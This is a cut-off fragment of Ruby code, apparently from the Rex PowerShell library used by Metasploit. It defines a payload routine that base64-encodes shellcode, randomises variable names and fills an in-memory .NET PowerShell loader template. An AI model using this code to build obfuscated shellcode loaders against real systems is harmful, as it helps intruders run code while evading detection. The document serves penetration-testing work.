# -*- coding: binary -*- require 'rex/random_identifier' require 'rc4' module Rex module Powershell module Payload include Rex::Powershell::Templates def self.read_replace_script_template(template_path, filename, hash_sub) template = '' template_pathname = File.join(template_path, filename) File.open(template_pathname, "rb") {|f| template = f.read} template % hash_sub end def self.to_win32pe_psh_net(template_path = TEMPLATE_DIR, code) rig = Rex::RandomIdentifier::Generator.new(DEFAULT_RIG_OPTS) rig.init_var(:var_code) rig.init_var(:var_kernel32) rig.init_var(:var_baseaddr) rig.init_var(:var_threadHandle) rig.init_var(:var_output) rig.init_var(:var_codeProvider) rig.init_var(:var_compileParams) rig.init_var(:var_syscode) rig.init_var(:var_temp) rig.init_var(:var_opf) hash_sub = rig.to_h hash_sub[:b64shellcode] = Rex::Text.encode_base64(code) read_replace_script_template(template_path, "to_mem_dotnet.ps1.template", hash_sub).gsub(/(?